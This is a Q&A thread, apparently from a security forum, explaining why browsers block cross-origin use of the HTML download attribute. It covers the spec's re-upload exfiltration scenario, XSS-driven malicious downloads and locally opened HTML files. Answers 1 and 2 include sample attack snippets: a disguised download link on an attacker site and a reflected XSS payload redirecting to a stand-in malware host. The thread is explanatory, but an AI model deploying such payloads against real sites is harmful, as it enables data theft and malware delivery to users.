Security implications of download attribute

Question

The download attribute in an a element tells the browser to force the download of a file that otherwise would be interpreted by the browser. This is very convenient, since often users want to download a (e.g. jpg) file instead of having the browser visualise it.

<a href="link.jpg" download="myfile.jpg">Click here to download</a>

Some browsers block the download attribute when the file is not accessed by the same protocol, on the same host and over the same port. This to me sounds a bit pointless while it breaks a lot of good use cases to prevent something that can be circumvent in other ways.

What are the security implications that browsers try to protect? Any useful real example?

Answer 1

This is actually described in the HTML living spec:

If the algorithm reaches this step, then a download was begun from a different origin than the resource being downloaded, and the origin did not mark the file as suitable for downloading, and the download was not initiated by the user. This could be because a download attribute was used to trigger the download, or because the resource in question is not of a type that the user agent supports.

This could be dangerous, because, for instance, a hostile server could be trying to get a user to unknowingly download private information and then re-upload it to the hostile server, by tricking the user into thinking the data is from the hostile server.

The scenario, described here is:

• You are on my onlineexcel.attacker.com website that allows to make Excel files
• You click a link in there, stating like "download your excel sheet". This is actually a link that downloads your facebook profile, say <a href="https://facebook/myprofile/" download="your-sheet-from-onlineexcel.xlsx">
• Later on, you wish to restore your excel sheet/load it online, so you click the upload button of my onlineexcel.attacker.com, say <input type="file"/> and you select the file that you thought was from onlineexcel.attacker.com (because it was a link in there)
• You actually have uploaded your FB profile to my website

So the hazard here is that user do not know whether link is downloaded from the same origin or not.

That's why spec advises:

Thus, it is in the user's interests that the user be somehow notified that the resource in question comes from quite a different source, and to prevent confusion, any suggested file name from the potentially hostile interface origin should be ignored.

But I suppose that since this is a bit difficult to properly tell to Mom-like users, then browsers preferred to block such downloads.

Answer 2

It is important not only in the a attribute but to others also. The reason to this is because it is looking to see if it comes from the origin which means the same host and the same port that is your website.

if in anyway you are vulnerable to an attack that uses your site it will block it. This may be useful if an attacker uses e.g. XSS to redirect and make a user download a malicious file. Thngs such as :

• Malicious PDF file

• Malware

  As an example :

www.super123site.com/hello.php?mesg=hello+world

Comes from same port as your site...

Attack Scenario :

www.super123site.com/hello.php?mesg=<script> window.location.replace(www.malware.com:8099/maliciousPdf.pdf)</script>

Diferent host, diferent ports, Blocked...

Answer 3

I can think of one potential security issue.

If I create an HTML file and you open it on the web page, it operates under the same origin restrictions as everything else.

If I can force you to download the HTML file, double clicking that file, or opening it from your browser, now has an origin of your local machine! Suddenly the potential for malice is much greater.

Corner cases

Corner cases The behavior of same-origin checks and related mechanisms is not well-defined in a number of corner cases such as for pseudo-protocols that do not have a clearly defined host name or port associated with their URLs (file:, data:, etc.). This historically caused a fair number of security problems, such as the generally undesirable ability of any locally stored HTML file to access all other files on the disk, or communicate with any site on the Internet.

Exploiting a Microsoft Edge Vulnerability to Steal Files

Is This a Realistic Threat? Or Is It a Theoretical Scenario?

Do you think an attacker could somehow convince a potential victim to download a HTML file and execute it?

Due to the existence of another attack vector, it turns out that this is not merely a theoretical scenario.

Answer 4

Some browsers block the download attribute when the file is not accessed by the same protocol, on the same host and over the same port.

This is called SOP (Same Origin Policy).

This to me sounds a bit pointless while it breaks a lot of good use cases to prevent something that can be circumvented in other ways.

Same Origin Policy is not pointless. Please refer Why is the same origin policy so important?

What are the security implications that browsers try to protect?

How about a zero-day vulnerability which allows an attacker to embed a link with download attribute in your web site which downloads malicious files from attackers domain?

One important point: Although HTTP(s) URLs need to be in the same-origin, blob: URLs and data: URLs are allowed so that content generated by JavaScript, such as pictures created in an image-editor Web app, can be downloaded.